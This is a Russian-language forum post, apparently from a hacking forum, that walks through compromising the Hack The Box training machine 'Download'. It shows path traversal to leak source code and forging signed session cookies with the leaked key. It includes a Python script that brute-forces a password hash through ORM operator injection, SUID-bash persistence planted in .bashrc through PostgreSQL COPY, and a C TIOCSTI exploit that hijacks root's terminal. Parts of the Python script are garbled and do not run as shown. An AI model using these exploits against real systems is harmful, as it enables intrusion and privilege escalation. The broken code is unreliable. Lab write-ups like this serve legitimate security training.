• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Перехватываем терминал суперпользователя при атаке на хост

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я продемонстрирую технику TTY hijacking, которая позволяет захватить сессию терминала суперпользователя. Также проэксплуатируем path traversal для получения доступа к исходному коду приложения на Node.js, украдем сессию пользователя через создание cookie и применим слепую инъекцию для получения конфиденциальной информации.
Нашей целью будет захват тренировочной машины Download с площадки Hack The Box. Уровень ее — сложный.

warning​

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в файл /etc/hosts:

10.10.11.226 download.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
  • 22 — служба OpenSSH 8.2p1;
  • 80 — веб‑сервер Nginx 1.18.0.
Заглянем на сайт.

Главная страница сайта

Точка входа​

Изучая сайт, находим форму загрузки файлов.

Страница /files/upload
Просматривая этот запрос в Burp History, увидим типичную для приложения на Node.js форму cookie.

Запрос в Burp History
Авторизуемся на сайте, декодируем значение download_session и проверим, что изменилось.

Главная страница авторизованного пользователя Запрос в Burp History
У нас появился параметр user, содержащий имя пользователя и его идентификатор. Также для проверки я загрузил файл и увидел, что сообщение о выполнении действия попадает в параметр success.

Результат загрузки файла Запрос в Burp History

Точка опоры​


Path traversal​

Страница /files/download/ отдает нам файл при скачивании. Стоит проверить, нет ли здесь уязвимости обхода каталога. Сделать это можно, запросив файл package.json, характерный для программ на Node.js. Я использую Burp Intruder и словарь с разными вариантами указания пути к файлу.

Для просмотра ссылки Войди или Зарегистрируйся
В итоге получаем содержимое package.json, откуда узнаем, что основной файл называется app.js, а также имя пользователя — wesley. Теперь тем же способом запросим файл app.js.

Для просмотра ссылки Войди или Зарегистрируйся Содержимое файла app.js
Получаем ключ для подписи куки (строка 39), а еще видим использование SQL-запросов (строка 59).

Cookie​

Имея ключ, мы можем манипулировать значениями куки, создавая и подписывая их для любого пользователя. В этом нам поможет утилита Для просмотра ссылки Войди или Зарегистрируйся. Установим ее.

Код:
npm install --global yarn
git clone https://github.com/DigitalInterruption/cookie-monster
cd cookie-monster
yarn install
yarn link

Сохраним значение куки в файл и поменяем имя пользователя на wesley. Затем сгенерируем нужные нам значения.

./cookie-monster.js -e -f cookie.txt -k 8929874489719802418902487651347865819634518936754 -n download_session
Создание cookie для пользователя wesley
Подставляем сгенерированные значения в запрос и получаем страницу нового пользователя.

Страница в Burp Repeater
В окружении пользователя на сайте ничего не находим, поэтому продолжим просматривать исходные коды. В уже известном нам файле app.js отмечаем подключаемые модули.

Содержимое файла app.js
Первым делом я просмотрел содержимое файла routers/auth.js. Наиболее интересен в нем блок кода для получения пользователя с помощью функции findFirst (строки 41–44).

Содержимое файла routers/auth.js
Кроме параметра имени пользователя, есть еще и параметр password. Учитывая, что для выборки из базы используется findFirst, можно протестировать инъекцию, основанную на использовании в передаваемых параметрах других операторов: contains, startWith и прочих возвращающих булевы значения. К примеру, следующее значение cookie отобразило файлы пользователя!

Код:
{
    "flashes":{
        "info":[],
        "error":[],
        "success":[""]
    },
    "user":{
        "username":{
            "contains": "WESLEY"
        },
        "password":{
            "startsWith":""
        }
    }
}
Запрос в Burp Repeater
В самих файлах ничего интересного нет, зато мы можем попытаться подобрать хеш пароля пользователя.

Автоматизация​

Смысл в том, чтобы поочередно перебирать символы хеша пароля. Как только реальный хеш будет начинаться с указанной последовательности, мы получим отличный от остальных случаев ответ и начнем перебирать следующий символ хеша.

Код:
import subprocess
import json
import requests

passwd = ""
chars = "0123456789abcdef"
tmp_pass = ""

def getCookie(password):
   data = {"flashes":{"info":[],"error":[],"success":[""]},"user":{"username":{"contains": "WESLEY"},"password":{"startsWith"assword}}}
   with open("cookie.txt","w") as f:
       f.write(json.dumps(data))
   out = subprocess.check_output(["./cookie-monster/bin/cookie-monster.js", "-e", "-f", "cookie.txt", "-k", "8929874489719802418902487651347865819634518936754", "-n", "download_session"]).decode()
   index1 = out.index("download_session=") + len("download_session=")
   out = out[index1:]
   sess = out[ut.index("\x1b")]
   index2 = out.index("download_session.sig=") + len("download_session.sig=")
   out = out[index2:]
   sig = out[ut.index("\x1b")]
   return sess, sig

for i in range(32):
   for c in chars:
       tmp_pass = passwd + c
       print("Hash: " + tmp_pass, end='\r')

       sess, sig = getCookie(tmp_pass)
       cookie = {"download_session": sess, "download_session.sig": sig}
       r = requests.get('http://download.htb/home/', cookies=cookie)

       if( len(r.text) != 2174 ):
           passwd = tmp_pass
           break

print("Hash: " + passwd)

Результат работы скрипта
Спустя несколько минут получаем хеш MD5 и расшифровываем пароль при помощи сервиса Для просмотра ссылки Войди или Зарегистрируйся.

Результат взлома хеша
С полученными учетными данными авторизуемся по SSH и забираем флаг пользователя.

Флаг пользователя

Продвижение​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, нам нужно отобрать только значимую.

В списке процессов отмечаем работающий PostgreSQL, об этом говорит и прослушиваемый порт 5432. Также у пользователя, от имени которого работает СУБД, есть своя консоль.

Список процессов
Прослушиваемые порты Пользователи с консолью
Еще полезно просматривать запускаемые процессы с помощью Для просмотра ссылки Войди или Зарегистрируйся. Именно это и помогло мне обнаружить, что в системе работает пользовательская служба download-site, а также отметить, что в систему залогинен пользователь postgres.

Логи pspy64
Просматриваем файл службы /etc/systemd/system/download-site.service. В переменной окружения для запуска процесса находим переменную DATABASE_URL, а в URL — учетные данные для подключения к базе данных.

Содержимое файла download-site.service
Подключаемся к базе и получаем информацию о пользователях.

Код:
psql -h localhost -p 5432 -U download

\du

Информация о пользователях СУБД

Наш пользователь — член группы pg_write_server_files, а значит, имеет право на запись в файлы. Для персистентности следующими командами назначим файлу командной оболочки S-бит:

Код:
cp /bin/bash /tmp/psql_bash
chmod 4777 /tmp/psql_bash

В качестве метода персистентности запишем данные команды в файлы /var/lib/postgresql/.bash_profile и /var/lib/postgresql/.bashrc. Так как выполняется вход от имени пользователя, будут выполнены команды из этих файлов.

Код:
COPY (SELECT CAST ('/bin/bash -c "cp /bin/bash /tmp/psql_bash ; chmod 4777 /tmp/psql_bash"' AS text)) TO '/var/lib/postgresql/.bash_profile';
COPY (SELECT CAST ('/bin/bash -c "cp /bin/bash /tmp/psql_bash ; chmod 4777 /tmp/psql_bash"' AS text)) TO '/var/lib/postgresql/.bashrc';

Спустя некоторое время проверяем, не появился ли файл /bin/bash в каталоге /tmp.

Содержимое каталога /tmp
У файла выставлен S-бит, а значит, мы можем получить сессию от имени пользователя postgres.

Сессия пользователя postgres

Локальное повышение привилегий​


TTY hijacking​

Увы, этому пользователю ничего интересного не доступно. Тогда вернемся к способу входа через su -l. Здесь можно попробовать попасть в сессию пользователя, от имени которого выполняется команда su. Эта техника называется TTY hijacking. Хотя sudo и su в данном случае меняют UID исполняемого процесса на UID пользователя без полномочий, терминал по‑прежнему остается терминалом пользователя root и, как оказалось, доступен непривилегированному пользователю.

Текущий терминал программы всегда доступен через файл /dev/tty. Мы можем его открыть от имени пользователя без полномочий, а затем использовать сискол ioctl для подделки пользовательского ввода. Это позволит нам вводить команды в чужой терминал. Для эксплуатации этой техники можно использовать следующий эксплоит:

Код:
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>

int main() {
   int fd = open("/dev/tty", O_RDWR);
   if (fd < 0) {
       perror("open");
       return -1;
   }
   char *x = "exit\n/bin/bash -c 'cp /bin/bash /tmp/root_bash; chmod 4777 /tmp/root_bash'\n";
   while (*x != 0) {
       int ret = ioctl(fd, TIOCSTI, x);
       if (ret == -1) {
           perror("ioctl()");
       }
       x++;
   }
   return 0;
}

Здесь сначала завершается работа текущей командной оболочки пользователя (exit\n), а затем записывается уже знакомая полезная нагрузка. После завершения работы командной оболочки пользователя postgres шелл пользователя root считывает поддельный пользовательский ввод и выполняет его.

Компилируем эксплоит и даем права на выполнение для всех.

Код:
gcc exploit.c -static -o lpe.bin
chmod 777 /tmp/lpe.bin

Теперь повторим технику выполнения файла через bash_profile и bashrc, после чего проверим, появился ли файл командной оболочки, но уже созданный рутом.

Код:
COPY (SELECT CAST ('/bin/bash -c /dev/shm/lpe.bin' AS text)) TO '/var/lib/postgresql/.bash_profile';
COPY (SELECT CAST ('/bin/bash -c /dev/shm/lpe.bin' AS text)) TO '/var/lib/postgresql/.bashrc';

Содержимое каталога /tmp
Атака прошла успешно, теперь мы можем перейти к сессии root и забрать второй флаг.

Флаг рута

Машина захвачена!
 
Activity
So far there's no one here